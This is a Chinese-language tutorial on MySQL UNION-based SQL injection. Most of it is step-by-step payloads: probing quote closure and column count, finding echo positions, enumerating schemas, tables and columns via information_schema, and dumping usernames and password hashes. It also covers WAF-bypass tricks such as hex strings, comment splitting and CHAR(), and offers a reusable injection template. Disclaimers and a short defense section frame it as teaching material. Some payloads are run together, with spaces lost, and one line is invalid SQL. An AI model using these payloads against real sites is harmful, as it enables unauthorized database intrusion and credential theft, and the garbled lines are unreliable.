5-数据库-SQL注入-联合查询-day13
MySQL 联合查询注入
⚠️免责声明:本文仅用于网络安全教学和研究目的,旨在帮助开发者和安全人员理解SQL注入原理以更好地防御此类攻击。严禁将本文所述技术用于任何非法入侵、数据窃取或其他违法犯罪活动。任何不当使用导致的后果由使用者自行承担,作者及平台不承担任何法律责任。
📑 目录导航
- 一、UNION 语法特性
- 二、联合查询注入完整流程
- 三、核心函数与语法详解
- 四、MySQL 版本差异速查
- 五、进阶技巧
- 六、通用注入模板
- 七、防御建议
- 补充-不同版本mysql的差异
- 补充-sql注入的思路
一、UNION 语法特性
UNION是 SQL 中用于纵向合并结果集的操作符。它的核心逻辑是将多个SELECT语句的查询结果"上下堆叠"成一张新表。与JOIN的左右拼接不同,UNION要求参与合并的各个结果集在结构上保持一致。
理解以下五条核心特性,是构造 UNION 注入 payload 的基石。
1.1 列数必须相同
所有SELECT语句必须返回相同数量的列。列数不一致时数据库直接报错。
-- 错误示范:3列 vs 2列SELECTid,name,gradeFROMstudentsUNIONSELECTid,nameFROMteachers;-- 报错:ERROR 1222 (21000): The used SELECT statements have a different number of columns-- 正确写法:用 NULL 补齐SELECTid,name,gradeFROMstudentsUNIONSELECTid,name,NULLASgradeFROMteachers;1.2 对应列的数据类型必须兼容
即使列数相同,如果对应列的数据类型无法隐式转换,数据库也会报错。
注入视角:如果不知道原列类型,通常使用
NULL进行填充,因为NULL可以兼容所有数据类型,从而避免类型冲突错误。
-- 安全的列数探测方式SELECT1,2,3UNIONSELECTNULL,NULL,NULL--+1.3 按列顺序匹配,不看列名
UNION合并数据时完全无视列名,只看列的位置(第1列对第1列,第2列对第2列)。最终结果集的列名由第一条SELECT语句决定。
注入视角:这就是为什么我们在注入时使用
?id=-1 UNION SELECT 1,2,3--+。数字2显示在页面的哪个位置,就说明原 SQL 语句的第二列是"回显位"。我们并不关心那一列原本叫username还是
1.4 去重机制:UNION vs UNION ALL
UNION:默认行为,剔除重复行,消耗额外计算资源。UNION ALL:纯粹拼接结果集,不做去重检查,速度更快。
注入视角:在 SQL 注入中,通常先让原查询为空(如
id=-1),这样UNION和UNION ALL返回的结果完全一致。UNION是 SQL 标准,注入时更常使用。但在某些 WAF 过滤了UNION的情况下,可以尝试UNION ALL(如果 WAF 只过滤了UNION后面带空格的情况)。
-- UNION 会去重' UNION SELECT 1,2,3 -- -- UNION ALL 不会去重,在某些场景下可用于避免去重导致的回显丢失 'UNIONALLSELECT1,2,3--1.5 排序与限制
ORDER BY和LIMIT子句作用于整个UNION结果集的最后。如果需要对单个SELECT排序,必须用括号包裹。
-- 正确:对整个结果集排序(SELECTemp_nameASnameFROMemployees)UNION(SELECTcust_nameASnameFROMcustomers)ORDERBYnameLIMIT3;二、联合查询注入完整流程
发现疑似注入点 → 判断闭合方式 → 判断查询列数 → 寻找回显位 → 获取基础信息 → 枚举库/表/列 → 拖取数据Step 1: 判断参数的闭合方式
Web 后端代码将用户输入拼接到 SQL 语句中。需要猜测开发者如何"包裹"这个变量,以便构造合法的 SQL 语法。
| 闭合类型 | 后端代码示例 | 测试 Payload | 预期结果 |
|---|---|---|---|
| 数字型 | WHERE id=$id | ?id=1' | 报错:语法变成id=1',多了一个单引号 |
| 单引号 | WHERE id='$id' | ?id=1' | 正常或报错(取决于驱动和转义) |
| 双引号 | WHERE id="$id" | ?id=1" | 正常或报错 |
| 单引号+括号 | WHERE id=('$id') | ?id=1')--+ | 正常 |
| 双引号+括号 | WHERE id=("$id") | ?id=1")--+ | 正常 |
| 搜索型 (LIKE) | WHERE name LIKE '%$kw%' | ?kw=%' OR 1=1--+ | 返回所有数据 |
测试步骤(假设 URL 为http://example.com/news.php?id=1):
-- 1. 测试数字型与字符型 http://example.com/news.php?id=1' -- 报错 "You have an error in your SQL syntax..." → 字符型,需要闭合 -- 2. 测试逻辑真假(数字型验证) http://example.com/news.php?id=1 AND 1=1--+ -- 页面正常 http://example.com/news.php?id=1 AND 1=2--+ -- 页面异常/空 -- 如果上述成立,说明是数字型注入,无需引号闭合 -- 3. 测试括号(如果加了引号还报错) http://example.com/news.php?id=1')--+ http://example.com/news.php?id=1")--+ -- 4. 搜索型注入 -- 原SQL: SELECT * FROM articles WHERE title LIKE '%keyword%' -- 注入后: SELECT * FROM articles WHERE title LIKE '%' OR 1=1-- %' http://example.com/search.php?kw=' OR 1=1--+关键提示:注释符
--+中的+在 URL 解码后代表空格。#在 URL 中需编码为%23(注意:不是%37,%37是数字7的编码,这是一个常见错误)。
Step 2: 判断原语句查询列数
UNION要求前后两个 SELECT 语句拥有相同的列数。必须先探测出原语句查了多少列。
方法一:ORDER BY 二分法(最常用)
利用ORDER BY n按第 n 列排序。当 n 大于实际列数时,数据库报错。
-- 假设是单引号闭合 http://example.com/news.php?id=1' ORDER BY 4--+ -- 页面正常 → 至少有 4 列 http://example.com/news.php?id=1' ORDER BY 5--+ -- 报错 → 只有 4 列| Payload | 结果 | 推断 |
|---|---|---|
?id=1' ORDER BY 3--+ | 页面正常 | 列数 >= 3 |
?id=1' ORDER BY 4--+ | 页面正常 | 列数 >= 4 |
?id=1' ORDER BY 5--+ | 白屏/报错 | 列数 = 4 |
方法二:UNION SELECT NULL 法
利用NULL可以兼容任何数据类型的特性,逐个增加NULL的数量。
-- 尝试 3 列 http://example.com/news.php?id=-1' UNION SELECT NULL,NULL,NULL--+ -- 报错 → 列数不是 3 -- 尝试 4 列 http://example.com/news.php?id=-1' UNION SELECT NULL,NULL,NULL,NULL--+ -- 页面恢复正常 → 列数 = 4注意:也可以用
UNION SELECT 1,2,3直接测试,但如果原列是日期或二进制类型,数字1可能无法隐式转换导致报错。NULL法兼容性最好。
Step 3: 确定回显位
页面通常只显示原 SQL 查询结果的某几列。需要找到哪些列的数据会被 HTML 页面打印出来,并让原查询结果为空。
方法一:负 ID 法(最常用)
利用-1、0或不存在的 ID 让原查询结果为空。
http://example.com/news.php?id=-1' UNION SELECT 1,2,3,4--+假设页面源代码显示如下:
<divclass="content"><h1>2</h1><!-- 标题位置显示了数字 2 --><p>Author: 3</p><!-- 作者位置显示了数字 3 --><span>ID: 1</span><!-- 不关注 --></div>结论:第 2 列和第 3 列是回显位。
方法二:AND 1=2 法
使用逻辑假让原查询不返回结果。
http://example.com/news.php?id=1' AND 1=2 UNION SELECT 1,2,3,4--+方法三:LIMIT 偏移法
如果页面只显示第一行数据,可以使用LIMIT 1,1跳过第一行。
http://example.com/news.php?id=1' LIMIT 1,1 UNION SELECT 1,2,3,4--+Step 4: 数据查询(核心攻击阶段)
在回显位中调用 MySQL 内置函数或查询系统表,窃取信息。核心逻辑流:基础信息 → 数据库名 → 表名 → 列名 → 数据。
4.1 获取基础信息(指纹识别)
确认数据库类型、版本、当前权限和路径。
-- 查询版本和当前库 http://example.com/news.php?id=-1' UNION SELECT 1,version(),database(),4--+ -- 页面显示: 8.0.36, security -- 查询当前用户和操作系统 http://example.com/news.php?id=-1' UNION SELECT 1,user(),@@version_compile_os,4--+ -- 页面显示: root@localhost, Linux| 函数/变量 | 作用 | 示例输出 |
|---|---|---|
version()/@@version | 数据库版本 | 8.0.36 |
database() | 当前数据库名 | security |
user()/current_user() | 当前用户名 | root@localhost |
@@datadir | 数据存放路径 | /var/lib/mysql/ |
@@basedir | 安装路径 | /usr/ |
@@version_compile_os | 操作系统 | Linux |
4.2 枚举数据库名称
利用information_schema.schemata表查询所有schema_name。
http://example.com/news.php?id=-1' UNION SELECT 1,2,group_concat(schema_name),4 FROM information_schema.schemata--+ -- 页面显示: security,information_schema,performance_schema,mysql,sys4.3 枚举指定数据库的表名
利用information_schema.tables表,通过table_schema字段过滤。
http://example.com/news.php?id=-1' UNION SELECT 1,2,group_concat(table_name),4 FROM information_schema.tables WHERE table_schema='security'--+ -- 页面显示: users,articles,categories4.4 枚举指定表的字段名
利用information_schema.columns表,通过table_schema和table_name双重过滤。
http://example.com/news.php?id=-1' UNION SELECT 1,2,group_concat(column_name),4 FROM information_schema.columns WHERE table_schema='security' AND table_name='users'--+ -- 页面显示: id,username,password,email4.5 拖取最终数据
-- 直接拖取用户名和密码 http://example.com/news.php?id=-1' UNION SELECT 1,group_concat(username),group_concat(password),4 FROM security.users--+ -- 使用 CONCAT_WS 格式化输出:username:password http://example.com/news.php?id=-1' UNION SELECT 1,2,group_concat(username,':',password),4 FROM security.users--+ -- 页面显示: admin:8efe310f9ab3efeae8d410a8a....,test:098f6bcd4621d373cade4e832627b4f64.6 十六进制编码绕过引号
如果单引号被过滤,可以将字符串转换为十六进制。security的十六进制是0x7365637572697479,users的十六进制是0x7573657273。
-- 原语句 ... WHERE table_schema='security' AND table_name='users'--+ -- 十六进制绕过 ... WHERE table_schema=0x7365637572697479 AND table_name=0x7573657273--+三、核心函数与语法详解
字符串拼接函数
| 函数 | 用法 | 特点 |
|---|---|---|
CONCAT(str1, str2, ...) | CONCAT(username, ':', password) | 只要有一个参数为 NULL,结果即为 NULL |
CONCAT_WS(sep, str1, str2, ...) | CONCAT_WS(':', username, password) | 忽略 NULL 值,不会返回 NULL,注入首选 |
GROUP_CONCAT(col [SEPARATOR 'sep']) | GROUP_CONCAT(username SEPARATOR '-') | 将多行数据合并成一行字符串,拖库神器 |
注意:
GROUP_CONCAT受系统变量group_concat_max_len限制,默认 1024字节(不是字符)。在 utf8mb4 编码下,一个中文字符或 emoji 可能占 3-4 字节,实际能显示的字符数远少于 1024。如果数据被截断,可以使用LIMIT分页读取,或在注入前设置SET group_concat_max_len = 102400。
分页函数
| 语法 | 用法 | 说明 |
|---|---|---|
LIMIT m, n | LIMIT 0,1 | 跳过0行,取1行 |
LIMIT n OFFSET m | LIMIT 1 OFFSET 0 | 功能相同,逗号被过滤时的替代品 |
注释符
| 注释符 | 说明 | 示例 |
|---|---|---|
--(后接空格) | 单行注释 | SELECT * FROM users -- |
#/%23 | 单行注释,URL中需编码 | SELECT * FROM users # |
/* */ | 多行注释,可用于绕过 WAF 关键词过滤 | UNION/**/SELECT |
/*! */ | MySQL 特有:不注释内容,执行代码 | /*!50001 SELECT 1 */ |
四、MySQL 版本差异速查
| 维度 | MySQL 5.1-5.6 | MySQL 5.7 | MySQL 8.0 |
|---|---|---|---|
| UNION 语法 | 一致 | 一致 | 一致 |
| information_schema 核心视图 | 可用 | 可用 | 可用(实现改为 VIEW) |
INNODB_SYS_*视图 | 可用 | 可用 | 重命名为INNODB_* |
mysql.proc/mysql.event表 | 可用 | 可用 | 改用 I_S 视图 |
mysql.user密码列 | Password | Password | authentication_string |
| 默认字符集 | latin1/utf8 | utf8 | utf8mb4_0900_ai_ci |
| 十六进制字面量行为 | 自动转为字符串 | 自动转为字符串 | 二进制字符串(需显式转换) |
version()输出格式 | 5.x.x | 5.7.x | 8.0.x |
结论:UNION 注入的"骨架"跨版本不变,变的是"抽血"阶段依赖的系统库内部细节。学注入时以 5.7 为基准环境,再了解 8.0 的差异点,就能应对绝大多数场景。
关键版本差异说明
十六进制字面量:MySQL 5.7 及之前,0x554e494f4e会在 SQL 解析阶段自动转换为字符串'UNION'。MySQL 8.0 及之后,0x554e494f4e是二进制字符串类型,在 SQL 解析阶段保持原样,不会被当作关键字处理。
位运算返回值:MySQL 5.7 位运算返回BIGINT,MySQL 8.0 返回二进制字符串。
五、进阶技巧
5.1 CAST/CONVERT 类型转换
处理数据类型不匹配,确保回显正常。
-- 将各种类型转为字符串' UNION SELECT CAST(@@version AS CHAR), CAST(DATABASE() AS CHAR), CONVERT(@@datadir, CHAR) -- -- 使用 CONCAT 添加前缀标识 'UNIONSELECTCONCAT('ID:',id),CONCAT('User:',username),CONCAT('Pass:',password)FROMusers--5.2 无引号字符串技巧
当单引号被 WAF 过滤时,用十六进制或函数生成字符串值。
-- 十六进制(仅用于字符串值,不能替代关键字)' UNION SELECT 1,0x61646D696E,3 -- -- 0x61646D696E = 'admin' -- CHAR 函数 'UNIONSELECT1,CHAR(97,100,109,105,110),3-- -- 同上-- CONCAT 函数' UNION SELECT 1,CONCAT('a','d','m','i','n'),3--重要区别:
CHAR()、CONCAT()等函数是表达式,UNION、SELECT是语法关键字。函数返回的字符串只能作为数据值使用,不能放在关键字位置。例如SELECT id FROM users CHAR(85,78,73,79,78) SELECT 1,2,3会报语法错误,因为CHAR()返回的是值,不是关键字。
5.3 子查询绕过列数限制
当原查询列数很多时,用子查询将多个字段压缩到一列。
-- 原查询有 10 列,但只需回显一个位置' UNION SELECT 1,2,3,4,5,(SELECT username FROM users LIMIT 0,1),7,8,9,10 -- -- 将整个表的数据压缩到一行 'UNIONSELECT1,(SELECTGROUP_CONCAT(username,':',password)FROMusers),3,4,5--5.4 利用 UNION ALL 避免去重
-- UNION 会去重,UNION ALL 不会' UNION ALL SELECT 1,2,3 -- -- 结合子查询获取信息 'UNIONALLSELECT1,(SELECT@@version),3--'UNIONALLSELECT1,(SELECTDATABASE()),3--5.5 利用 JSON 函数(MySQL 5.7+)
-- MySQL 5.7+ JSON 函数' UNION SELECT 1, JSON_EXTRACT( (SELECT CONCAT('[', GROUP_CONCAT(table_name), ']') FROM information_schema.tables WHERE table_schema=DATABASE()), '$[0]'),3,4,5--5.6 利用窗口函数(MySQL 8.0+)
-- MySQL 8.0+ 窗口函数'UNIONSELECT1,ROW_NUMBER()OVER(ORDERBY(SELECTGROUP_CONCAT(table_name)FROMinformation_schema.tablesWHEREtable_schema=DATABASE())),3,4,5--5.7 GROUP_CONCAT 截断时的分页策略
当GROUP_CONCAT返回的数据超过group_concat_max_len限制被截断时:
-- 方法1:使用 LIMIT 逐条读取' UNION SELECT 1,2,(SELECT username FROM security.users LIMIT 0,1),4 -- 'UNIONSELECT1,2,(SELECTusernameFROMsecurity.usersLIMIT1,1),4--' UNION SELECT 1,2,(SELECT username FROM security.users LIMIT 2,1),4 -- -- 方法2:修改 group_concat_max_len(需要高权限) 'UNIONSELECT1,2,(SELECTSETgroup_concat_max_len=102400),4---- 方法3:使用 LIMIT OFFSET 语法(当逗号被过滤时)'UNIONSELECT1,2,(SELECTGROUP_CONCAT(username)FROMsecurity.usersLIMIT1OFFSET0),4--六、通用注入模板
将上述步骤合并,得到一个通用的 MySQL 联合注入模板:
-- 1. 探测闭合(假设是单引号)?id=1' -- 2. 探测列数(假设是 3 列) ?id=1'ORDERBY3--+-- 3. 找回显位?id=-1' UNION SELECT 1,2,3--+ -- 4. 爆库 ?id=-1'UNIONSELECT1,2,group_concat(schema_name)FROMinformation_schema.schemata--+-- 5. 爆表?id=-1' UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema='target_db'--+ -- 6. 爆字段 ?id=-1'UNIONSELECT1,2,group_concat(column_name)FROMinformation_schema.columnsWHEREtable_schema='target_db'ANDtable_name='target_table'--+-- 7. 拖数据?id=-1'UNIONSELECT1,group_concat(username),group_concat(password)FROMtarget_db.target_table--+七、防御建议
- 使用预处理语句(Prepared Statements):参数化查询是防止 SQL 注入的根本方案。
- 禁止字符串拼接 SQL:杜绝将用户输入直接拼入 SQL 语句。
- 最小权限原则:数据库用户不应拥有
FILE、PROCESS等高权限。 - WAF 规则覆盖:检测注释分割、多重编码、逻辑运算符别名等绕过手法。
- 统一字符集(UTF-8):避免因字符集差异导致的注入风险。
补充-不同版本mysql的差异
一、MySQL 系统库总览
MySQL 的系统库是由 MySQL 服务器自身创建和维护的数据库,普通业务库之外的"元数据之家"。跨版本看,涉及的系统库一共五个:
information_schema—— 元数据字典(库、表、列、权限等)mysql—— 核心系统库(用户、权限、系统配置)performance_schema—— 运行时性能监控sys—— 基于 performance_schema 的封装层(5.7+ 默认带)test—— 空测试库(5.7 及更早版本常见,8.0 默认不再创建)
二、按版本区间看系统库清单
MySQL 5.1 时代
5.1 时期默认自带:
information_schema(5.0 引入,5.1 已完备)mysqlperformance_schema(5.5 才正式可用,5.1 实际上是"占位"状态)test(空测试库)
📌 此时没有
sys库。sys 库是 2014 年在独立的 mysql-sys 仓库中诞生的,2016 年才合入主线,5.7.7 起才默认安装。
MySQL 5.6
information_schemamysqlperformance_schema(5.6 起默认启用)testsys:可选,需手动安装(sys 支持 5.6+,但不默认带)
MySQL 5.7(注入研究的"黄金版本")
5.7.7 起,sys库在初始化数据目录时默认安装。所以 5.7 自带 4 个库:
information_schemamysqlperformance_schemasys
test库在 5.7 中仍然可能被创建(取决于安装方式),但从 5.7 起官方已不推荐,部分 Docker 镜像默认不带。
MySQL 8.0 之后
8.0 自带 4 个核心系统库:
information_schemamysqlperformance_schemasys
⚠️关键变化:从 8.0 开始,默认安装不再创建
test数据库。
用一张表归纳:
| 系统库 | 5.1 | 5.6 | 5.7 | 8.0+ |
|---|---|---|---|---|
| information_schema | ✅ | ✅ | ✅ | ✅ |
| mysql | ✅ | ✅ | ✅ | ✅ |
| performance_schema | 部分 | ✅(默认开) | ✅(默认开) | ✅(默认开) |
| sys | ❌ | 可选 | ✅(5.7.7+ 默认) | ✅ |
| test | ✅ | ✅ | 部分安装 | ❌ |
三、版本间系统库的核心变化(重点)
光看"多了还是少了某个库"还不够,对注入研究来说,系统库内部结构的变化更重要。
变化 1:数据字典架构重构(5.7 → 8.0 最大变革)
5.7 及之前:元数据分散存储在 MyISAM 格式的
mysql系统表(如mysql.user.MYD/MYI)和.frm文件中8.0 起:彻底重构为事务性、InnoDB 托管的内部数据字典,元数据持久化于
mysql.ibd和ibdata1中
这意味着:
8.0 的
mysql.user表结构从 5.7 的 45 列扩展到52 列,新增password_history、password_reused_interval、account_locked等安全字段8.0 中
mysql库下多数表不可直接 DML(只读数据字典表)过去的
mysql.proc、mysql.event等系统表在 8.0 中被移除,由information_schema的routines、events等视图取代
变化 2:information_schema 的实现方式改变
5.7 及之前:information_schema 下的
INNODB_SYS_TABLES、INNODB_SYS_TABLESPACES等是基于 InnoDB 系统表构建的视图8.0.3 起:这些视图不再基于 InnoDB 系统表,而是基于数据字典表;同时视图名做了简化——去掉
_SYS前缀:INNODB_SYS_TABLES→INNODB_TABLESINNODB_SYS_TABLESPACES→INNODB_TABLESPACES部分表还移除了
FILE_FORMAT列
💡对注入的影响:如果你写的注入 Payload 或脚本里硬编码了
INNODB_SYS_*这类老视图名,在 8.0 上会失效,必须用新名称。
变化 3:部分 information_schema 表被移除
Oracle MySQL 团队在 8.0 中:
弃用并移除了
INFORMATION_SCHEMA.INNODB_LOCKS和INFORMATION_SCHEMA.INNODB_LOCK_WAITS(5.7 中已被标记为 deprecated)替代方案是
performance_schema.data_locks和performance_schema.data_lock_waits
变化 4:test 库消失
8.0 默认安装不再创建test库——这对注入影响不大,但 CTF 靶场有时会利用test库的可写权限做INTO OUTFILE写马,8.0 环境下这条路径默认走不通。
变化 5:查询缓存(Query Cache)移除
8.0 彻底移除了查询缓存——这不是系统库的变化,但影响注入时的"缓存侧信道"类技巧。
四、对 SQL 注入学习的实际意义
1. 跨版本稳定的"注入基石"
无论 5.1/5.7/8.0,information_schema下的这三张表始终可用,是注入枚举的命脉:
information_schema.schemata -- 所有数据库名 information_schema.tables -- 所有表(可按 table_schema 过滤) information_schema.columns -- 所有列(可按 table_name 过滤)2. 版本相关的差异点
| 注入场景 | 5.1-5.6 | 5.7 | 8.0+ |
|---|---|---|---|
| 默认系统库数量 | 3-4 个 | 4 个(含 sys) | 4 个(无 test) |
INNODB_SYS_*视图 | ✅ | ✅ | ❌ 已重命名为INNODB_* |
mysql.user列数 | 较少 | 45 列 | 52 列 |
mysql.proc表 | ✅ | ✅ | ❌ 改用information_schema.routines |
| 锁信息视图 | INNODB_LOCKS等 | deprecated | ❌ 改用performance_schema.data_locks |
| 默认字符集 | latin1 / utf8 | utf8mb4 | utf8mb4_0900_ai_ci |
3. 版本探测的重要性
注入第一步通常是探版本:
SELECT version(); -- 或报错注入: AND updatexml(1, CONCAT(0x7e, version(), 0x7e), 1)拿到版本号后,你才知道:
是否可以利用
INNODB_SYS_*视图(仅 5.7 及之前)mysql.user表里有哪些列可用默认字符集是什么(影响宽字节注入的判断)
是否存在
test库可用于写文件
4. 8.0 注入的小坑
8.0 的
information_schema中部分表(如TABLES)的TABLE_COMMENT等字段行为有微调GROUP_CONCAT长度限制依然存在,但默认group_concat_max_len在 8.0 中是 1024 字节8.0 的
mysql库下很多表变成"数据字典表",无法用 SELECT 直接读,也不出现在SHOW TABLES输出中——但可以通过information_schema对应的视图查询
补充-sql注入的思路
SQL注入的本质是用户输入被数据库当作可执行SQL代码解析,所有攻击Payload的设计,本质都是沿着「适配目标环境→突破语法边界→提取敏感数据」的链路展开的,核心思路可浓缩为5步:
- 定位注入点:遍历URL参数、表单、请求头等有数据输入的入口,通过添加单引号、逻辑真假判断(如
AND 1=1)验证是否存在语法逃逸。 - 判定库类型:先区分关系型(支持SQL、联合查询)与非关系型(NoSQL,走操作符注入),避免无效尝试。
- 锁定具体数据库:通过版本特征、系统表差异区分MySQL、SQLite、PostgreSQL等,例如MySQL用
version()、SQLite用sqlite_version()获取版本信息。 - 摸排环境与版本:确认数据库大版本(如MySQL 5.7/8.0)、账号权限、配置限制(如
secure_file_priv),不同版本的可用系统库(如MySQL 8.0的performance_schema替代部分information_schema功能)、函数(如JSON函数、窗口函数)差异极大,直接决定Payload的有效性。 - 实施数据提取:基于回显位或盲注逻辑,枚举库表结构、拖取账号密码等敏感数据。
与之对应的防御核心,是切断攻击链路的任意一环:通过参数化查询让用户输入永远只作为数据而非代码、通过最小权限原则和关闭错误回显降低信息泄露风险、通过限制文件读写权限封堵高危利用路径。
⚠️ 法律与道德声明
重要提醒:本文所有技术内容仅供网络安全学习、研究和防御参考。SQL注入攻击是严重的违法行为,可能触犯《中华人民共和国刑法》第二百八十五条(非法侵入计算机信息系统罪)、第二百八十六条(破坏计算机信息系统罪)等相关法律法规。
请务必遵守以下原则:
- 仅用于授权测试:仅在获得明确书面授权的环境中进行安全测试
- 不用于非法目的:不得利用本文技术进行未授权的系统入侵、数据窃取或破坏
- 保护用户隐私:不得非法获取、使用或泄露他人个人信息
- 遵守平台规则:遵守相关网站和服务的使用条款
法律后果:任何违反法律法规的行为都将面临法律制裁,包括但不限于行政处罚、民事赔偿和刑事责任。技术学习是为了更好地保护系统安全,请务必用于正当途径。
安全建议:作为开发者,应积极学习安全知识,采用参数化查询、输入验证、最小权限原则等安全措施,从源头杜绝SQL注入漏洞。